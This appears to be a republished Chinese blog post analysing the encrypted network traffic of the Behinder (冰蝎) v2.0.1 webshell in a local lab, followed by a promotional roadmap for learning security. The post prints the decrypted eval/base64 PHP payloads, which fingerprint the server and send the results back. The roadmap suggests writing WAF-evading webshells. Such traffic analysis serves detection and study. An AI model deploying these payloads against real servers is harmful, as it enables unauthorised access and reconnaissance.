冰蝎v2.0.1流量分析

2023-10-14 02:59
文章标签 分析 流量 v2.0 冰蝎

本文主要是介绍冰蝎v2.0.1流量分析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

冰蝎经过一系列的迭代,流量特征各有不同,我们以版本顺序探究冰蝎流量的进化史

冰蝎v2.0.1

1、冰蝎自带webshell,我们以php的webshell为例(已加注释):

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YcUNPc4x-1691284675827)(https://image.3001.net/images/20220901/1662002545_631025711eac09769c395.png!small)]

2、将此文件放入被攻击服务器网站下,然后运行冰蝎客户端,新建连接

3、使用wireshark抓取冰蝎流量包

(1)由于我的冰蝎客户端与被攻击服务器在同一台电脑上,因此wireshark的网卡应选择如下:

(2)开始捕获后,点击新建的连接进入webshell管理界面

(3)在wireshark中即可捕获到冰蝎客户端与服务器通信的数据包

(4)追踪HTTP流即可看到冰蝎客户端与服务器的完整通信过程

4、分析冰蝎与服务器的通信过程

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZZS1KpTk-1691284675835)(https://image.3001.net/images/20220901/1662002938_631026faf402733dc4fa7.png!small)]

(1)当冰蝎第一次访问服务器webshell时,以GET方式提交随机数字,因此服务器将会生成16位的随机字符串,写入session后通过print函数将密钥返回客户端;

(2)冰蝎第二次访问服务器时以相同方式更新密钥;

(3)经过一次密钥产生与一次密钥更新后,双方开始以对称密钥进行加密通信,首先是冰蝎向服务器发送加密数据,而解密函数在webshell中:

我们通过解密方式解密请求包数据:

因此得到冰蝎发送的请求包实际载荷为:

assert|eval(base64_decode('QGVycmyX3JlcG9ydGluZygwKTsNCmZ1bmN0aW9uIG1haW4oJGNvbnRlbnQpDQp7DQoJJHJlc3VsdCA9IGFycmF5KCk7DQoJJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJzdWNjZXNzIik7DQogICAgJHJlc3VsdFsibXNnIl0gPSBiYXNlNjRfZW5jb2RlKCRjb250ZW50KTsNCiAgICAka2V5ID0gJF9TRVNTSU9OWydrJ107DQogICAgZWNobyBlbmNyeXB0KGpzb25fZW5jb2RlKCRyZXN1bHQpLCRrZXkpOw0KfQ0KDQpmdW5jdGlvbiBlbmNyeXB0KCRkYXRhLCRrZXkpDQp7DQoJaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSkNCiAgICAJew0KICAgIAkJZmyKCRpPTA7JGk8c3RybGVuKCRkYXRhKTskaSsrKSB7DQogICAgCQkJICRkYXRhWyRpXSA9ICRkYXRhWyRpXV4ka2V5WyRpKzEmMTVdOyANCiAgICAJCQl9DQoJCQlyZXR1cm4gJGRhdGE7DQogICAgCX0NCiAgICBlbHNlDQogICAgCXsNCiAgICAJCXJldHVybiBvcGVuc3NsX2VuY3J5cHQoJGRhdGEsICJBRVMxMjgiLCAka2V5KTsNCiAgICAJfQ0KfSRjb250ZW50PSI1NzE3OGJkNS03YzJhLTRjNTgtYTZlOC01NmUyYTJjZjYyMjMiOw0KbWFpbigkY29udGVudCk7'));

其中base64解码数据为:

@error_reporting(0);
function main($content)
{$result = array();$result["status"] = base64_encode("success");$result["msg"] = base64_encode($content);$key = $_SESSION['k'];echo encrypt(json_encode($result),$key);
}
function encrypt($data,$key)
{if(!extension_loaded('openssl')){for($i=0;$i $data[$i] = $data[$i]^$key[$i+1&15];return $data;}else{return openssl_encrypt($data, "AES128", $key);}
}
$content="57178bd5-7c2a-4c58-a6e8-56e2a2cf6223";
main($content);

以上base64解码便是冰蝎的实际攻击代码;

梳理一下本次数据的处理过程:

【1】冰蝎将AES加密数据发送至服务器webshell;

【2】webshell检测到没有以GET方式提交的pass参数的值,因此调用openssl扩展,结合冰蝎发送的数据和session中的密钥进行AES解密,得到解密后的载荷
assert|eval(base64_decode('QGVy…

【3】以|为分隔符,将解密后的载荷分隔为两部分,将执行载荷的过程放入自定义类C的魔术函数 __construct() 中;

【4】实例化自定义类,触发 __construct() 函数,执行 eval(base64_decode('QGVy…

【5】执行时,首先进行base64解码,然后执行解码后的代码,代码中定义了result数组,result数组有两个键值对:

‘status’:base64_encode(“success”)

‘msg’:base64_encode(“57178bd5-7c2a-4c58-a6e8-56e2a2cf6223”)

【6】然后从session中取得密钥,对result数组加密,将加密结果输出到客户端;

(4)冰蝎收到加密数据后,在内部进行解密(解密代码与解密的过程在冰蝎内部完成,我们看不到)

但是我们可以自行解密,查看服务器发送至冰蝎的真实数据:

因此得到服务器发送的响应包实际数据为:

{"status":"c3VjY2Vzcw==","msg":"NTcxNzhiZDUtN2MyYS00YzU4LWE2ZTgtNTZlMmEyY2Y2MjIz"}

经过base64解码后的结果为:

{"status":"success","msg":"57178bd5-7c2a-4c58-a6e8-56e2a2cf6223"}

和我们在(3)梳理的代码执行流程吻合;

紧接着上面的数据包进行分析:

(5)冰蝎客户端收到
{“status”:“success”,“msg”:“57178bd5-7c2a-4c58-a6e8-56e2a2cf6223”}
后,再次发送加密数据至服务器webshell,解密数据查看:

即冰蝎发送的请求包实际载荷为:

assert|eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KZnVuY3Rpb24gbWFpbigpIHsNCiAgICBvYl9zdGFydCgpOyBwaHBpbmZvKCk7ICRpbmZvID0gb2JfZ2V0X2NvbnRlbnRzKCk7IG9iX2VuZF9jbGVhbigpOw0KICAgICRkcml2ZUxpc3QgPSIiOw0KICAgIGlmIChzdHJpc3RyKFBIUF9PUywid2luZG93cyIpfHxzdHJpc3RyKFBIUF9PUywid2lubnQiKSkNCiAgICB7DQogICAgICAgIGZvcigkaT02NTskaTw9OTA7JGkrKykNCiAgICAJew0KICAgIAkJJGRyaXZlPWNocigkaSkuJzovJzsNCiAgICAJCWZpbGVfZXhpc3RzKCRkcml2ZSkgPyAkZHJpdmVMaXN0PSRkcml2ZUxpc3QuJGRyaXZlLiI7IjonJzsNCiAgICAJfQ0KICAgIH0NCgllbHNlDQoJew0KCQkkZHJpdmVMaXN0PSIvIjsNCgl9DQogICAgJGN1cnJlbnRQYXRoPWdldGN3ZCgpOw0KICAgIC8vZWNobyAicGhwaW5mbz0iLiRpbmZvLiJcbiIuImN1cnJlbnRQYXRoPSIuJGN1cnJlbnRQYXRoLiJcbiIuImRyaXZlTGlzdD0iLiRkcml2ZUxpc3Q7DQogICAgJG9zSW5mbz1QSFBfT1M7DQogICAgJHJlc3VsdD1hcnJheSgiYmFzaWNJbmZvIj0+YmFzZTY0X2VuY29kZSgkaW5mbyksImRyaXZlTGlzdCI9PmJhc2U2NF9lbmNvZGUoJGRyaXZlTGlzdCksImN1cnJlbnRQYXRoIj0+YmFzZTY0X2VuY29kZSgkY3VycmVudFBhdGgpLCJvc0luZm8iPT5iYXNlNjRfZW5jb2RlKCRvc0luZm8pKTsNCiAgICAvL2VjaG8ganNvbl9lbmNvZGUoJHJlc3VsdCk7DQogICAgc2Vzc2lvbl9zdGFydCgpOw0KICAgICRrZXk9JF9TRVNTSU9OWydrJ107DQogICAgLy9lY2hvIGpzb25fZW5jb2RlKCRyZXN1bHQpOw0KICAgIC8vZWNobyBvcGVuc3NsX2VuY3J5cHQoanNvbl9lbmNvZGUoJHJlc3VsdCksICJBRVMxMjgiLCAka2V5KTsNCiAgICBlY2hvIGVuY3J5cHQoanNvbl9lbmNvZGUoJHJlc3VsdCksICRrZXkpOw0KfQ0KDQpmdW5jdGlvbiBlbmNyeXB0KCRkYXRhLCRrZXkpDQp7DQoJaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSkNCiAgICAJew0KICAgIAkJZmyKCRpPTA7JGk8c3RybGVuKCRkYXRhKTskaSsrKSB7DQogICAgCQkJICRkYXRhWyRpXSA9ICRkYXRhWyRpXV4ka2V5WyRpKzEmMTVdOyANCiAgICAJCQl9DQoJCQlyZXR1cm4gJGRhdGE7DQogICAgCX0NCiAgICBlbHNlDQogICAgCXsNCiAgICAJCXJldHVybiBvcGVuc3NsX2VuY3J5cHQoJGRhdGEsICJBRVMxMjgiLCAka2V5KTsNCiAgICAJfQ0KfQ0KbWFpbigpOw=='));

base64解码数据为(中文注释为自己分析后加上):

error_reporting(0);
function main()
{ob_start();//打开输出缓冲区,所有来自PHP程序的非文件头信息均不会发送,而是保存在内部缓冲区phpinfo();//输出phpinfo信息到缓冲区$info = ob_get_contents();//将phpinfo信息存储到$info变量ob_end_clean();//清除内部缓冲区内容,并且关闭内部缓冲区$driveList ="";if(stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt"))//如果服务器操作系统为windows或winnt{for($i=65;$i<=90;$i++){$drive=chr($i).':/';file_exists($drive) ? $driveList=$driveList.$drive.";":'';//获取服务器的所有盘符,形如"C:/;D:/;"}}else//如果服务器操作系统不是windows或winnt{$driveList="/";//则获取根目录}$currentPath=getcwd();//获取当前路径//echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;$osInfo=PHP_OS;//获取当前操作系统$result=array("basicInfo"=>base64_encode($info),"driveList"=>base64_encode($driveList),"currentPath"=>base64_encode($currentPath),"osInfo"=>base64_encode($osInfo));//echo json_encode($result);session_start();//创建新会话或者重用现有会话;如果通过GET/POST/cookie提交了会话ID,则会重用现有会话;此函数用于php文件共享一个会话内定义的变量$key=$_SESSION['k'];//得到本会话中存储于session中的AES密钥//echo json_encode($result);//echo openssl_encrypt(json_encode($result), "AES128", $key);echo encrypt(json_encode($result), $key);//服务器输出AES加密后的数据(包括phpinfo信息,盘符信息,当前路径,操作系统)供冰蝎接收
}
function encrypt($data,$key)
{if(!extension_loaded('openssl')){for($i=0;$i<strlen($data);$i++){$data[$i] = $data[$i]^$key[$i+1&15]; }return $data;}else{return openssl_encrypt($data, "AES128", $key);}
}
main();

(6)由上面冰蝎发送的执行代码可知,服务器发送回的响应数据是
经过AES加密后的以数组形式保存的phpinfo信息、盘符信息、当前路径、操作系统信息的base64编码 ,我们解密响应包数据验证一下:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Llrqg247-1691284675845)(https://image.3001.net/images/20220901/1662003596_6310298c8d4aee02cb442.png!small)]

即服务器发送的响应包的实际载荷为:

{"basicInfo":"PCFET0......jwvaHRtbD4=","driveList":"QzovO0Q6Lzs=","currentPath":"QzpcVG9vbHNcUmFuZ2VzXHBocHN0dWR5X3Byb1xXV1dcdGVzdA==","osInfo":"V0lOTlQ="}

base64解码数据为:

{ "basicInfo":phpinfo信息, "driveList":"C:/;D:/;", "currentPath":"C:\Tools\Ranges\phpstudy_pro\WWW\test", "osInfo":"WINNT" }

参考链接:

https://blog.csdn.net/agathakuan/article/details/121018071(使用wireshark抓本地包)

https://www.bbsmax.com/A/kPzO9LA35x/(记一次解密wireshark抓取的冰蝎通信流量)

https://blog.csdn.net/He0an39n/article/details/125520962(Misc_冰蝎流量分析)

https://blog.csdn.net/weixin_39190897/article/details/109417674(渗透测试-
流量加密之冰蝎&蚁剑)

https://www.anquanke.com/post/id/212271(冰蝎,从入门到魔改)

ails/121018071)(使用wireshark抓本地包)

https://www.bbsmax.com/A/kPzO9LA35x/(记一次解密wireshark抓取的冰蝎通信流量)

https://blog.csdn.net/He0an39n/article/details/125520962(Misc_冰蝎流量分析)

https://blog.csdn.net/weixin_39190897/article/details/109417674(渗透测试-
流量加密之冰蝎&蚁剑)

https://www.anquanke.com/post/id/212271(冰蝎,从入门到魔改)

学习网络安全技术的方法无非三种:

第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技术,信息检索、舆情分析等。

第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,可能很长一段时间感觉自己没有进步,容易劝退。

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

第三种就是去找培训。

image.png

接下来,我会教你零基础入门快速入门上手网络安全。

网络安全入门到底是先学编程还是先学计算机基础?这是一个争议比较大的问题,有的人会建议先学编程,而有的人会建议先学计算机基础,其实这都是要学的。而且这些对学习网络安全来说非常重要。但是对于完全零基础的人来说又或者急于转行的人来说,学习编程或者计算机基础对他们来说都有一定的难度,并且花费时间太长。

第一阶段:基础准备 4周~6周

这个阶段是所有准备进入安全行业必学的部分,俗话说:基础不劳,地动山摇
image.png

第二阶段:web渗透

学习基础 时间:1周 ~ 2周:

① 了解基本概念:(SQL注入、XSS、上传、CSRF、一句话木马、等)为之后的WEB渗透测试打下基础。
② 查看一些论坛的一些Web渗透,学一学案例的思路,每一个站点都不一样,所以思路是主要的。
③ 学会提问的艺术,如果遇到不懂得要善于提问。
image.png

配置渗透环境 时间:3周 ~ 4周:

① 了解渗透测试常用的工具,例如(AWVS、SQLMAP、NMAP、BURP、中国菜刀等)。
② 下载这些工具无后门版本并且安装到计算机上。
③ 了解这些工具的使用场景,懂得基本的使用,推荐在Google上查找。

渗透实战操作 时间:约6周:

① 在网上搜索渗透实战案例,深入了解SQL注入、文件上传、解析漏洞等在实战中的使用。
② 自己搭建漏洞环境测试,推荐DWVA,SQLi-labs,Upload-labs,bWAPP。
③ 懂得渗透测试的阶段,每一个阶段需要做那些动作:例如PTES渗透测试执行标准。
④ 深入研究手工SQL注入,寻找绕过waf的方法,制作自己的脚本。
⑤ 研究文件上传的原理,如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用(IIS、Nignix、Apache)等,参照:上传攻击框架。
⑥ 了解XSS形成原理和种类,在DWVA中进行实践,使用一个含有XSS漏洞的cms,安装安全狗等进行测试。
⑦ 了解一句话木马,并尝试编写过狗一句话。
⑧ 研究在Windows和Linux下的提升权限,Google关键词:提权
image.png
以上就是入门阶段

第三阶段:进阶

已经入门并且找到工作之后又该怎么进阶?详情看下图
image.png

给新手小白的入门建议:
新手入门学习最好还是从视频入手进行学习,视频的浅显易懂相比起晦涩的文字而言更容易吸收,这里我给大家准备了一套网络安全从入门到精通的视频学习资料包免费领取哦!

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

这篇关于冰蝎v2.0.1流量分析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/207682

相关文章

怎样通过分析GC日志来定位Java进程的内存问题

《怎样通过分析GC日志来定位Java进程的内存问题》:本文主要介绍怎样通过分析GC日志来定位Java进程的内存问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、GC 日志基础配置1. 启用详细 GC 日志2. 不同收集器的日志格式二、关键指标与分析维度1.

MySQL中的表连接原理分析

《MySQL中的表连接原理分析》:本文主要介绍MySQL中的表连接原理分析,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录1、背景2、环境3、表连接原理【1】驱动表和被驱动表【2】内连接【3】外连接【4编程】嵌套循环连接【5】join buffer4、总结1、背景

python中Hash使用场景分析

《python中Hash使用场景分析》Python的hash()函数用于获取对象哈希值,常用于字典和集合,不可变类型可哈希,可变类型不可,常见算法包括除法、乘法、平方取中和随机数哈希,各有优缺点,需根... 目录python中的 Hash除法哈希算法乘法哈希算法平方取中法随机数哈希算法小结在Python中,

Java Stream的distinct去重原理分析

《JavaStream的distinct去重原理分析》Javastream中的distinct方法用于去除流中的重复元素,它返回一个包含过滤后唯一元素的新流,该方法会根据元素的hashcode和eq... 目录一、distinct 的基础用法与核心特性二、distinct 的底层实现原理1. 顺序流中的去重

关于MyISAM和InnoDB对比分析

《关于MyISAM和InnoDB对比分析》:本文主要介绍关于MyISAM和InnoDB对比分析,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录开篇:从交通规则看存储引擎选择理解存储引擎的基本概念技术原理对比1. 事务支持:ACID的守护者2. 锁机制:并发控制的艺

MyBatis Plus 中 update_time 字段自动填充失效的原因分析及解决方案(最新整理)

《MyBatisPlus中update_time字段自动填充失效的原因分析及解决方案(最新整理)》在使用MyBatisPlus时,通常我们会在数据库表中设置create_time和update... 目录前言一、问题现象二、原因分析三、总结:常见原因与解决方法对照表四、推荐写法前言在使用 MyBATis

Python主动抛出异常的各种用法和场景分析

《Python主动抛出异常的各种用法和场景分析》在Python中,我们不仅可以捕获和处理异常,还可以主动抛出异常,也就是以类的方式自定义错误的类型和提示信息,这在编程中非常有用,下面我将详细解释主动抛... 目录一、为什么要主动抛出异常?二、基本语法:raise关键字基本示例三、raise的多种用法1. 抛

github打不开的问题分析及解决

《github打不开的问题分析及解决》:本文主要介绍github打不开的问题分析及解决,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、找到github.com域名解析的ip地址二、找到github.global.ssl.fastly.net网址解析的ip地址三

Mysql的主从同步/复制的原理分析

《Mysql的主从同步/复制的原理分析》:本文主要介绍Mysql的主从同步/复制的原理分析,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录为什么要主从同步?mysql主从同步架构有哪些?Mysql主从复制的原理/整体流程级联复制架构为什么好?Mysql主从复制注意

java -jar命令运行 jar包时运行外部依赖jar包的场景分析

《java-jar命令运行jar包时运行外部依赖jar包的场景分析》:本文主要介绍java-jar命令运行jar包时运行外部依赖jar包的场景分析,本文给大家介绍的非常详细,对大家的学习或工作... 目录Java -jar命令运行 jar包时如何运行外部依赖jar包场景:解决:方法一、启动参数添加: -Xb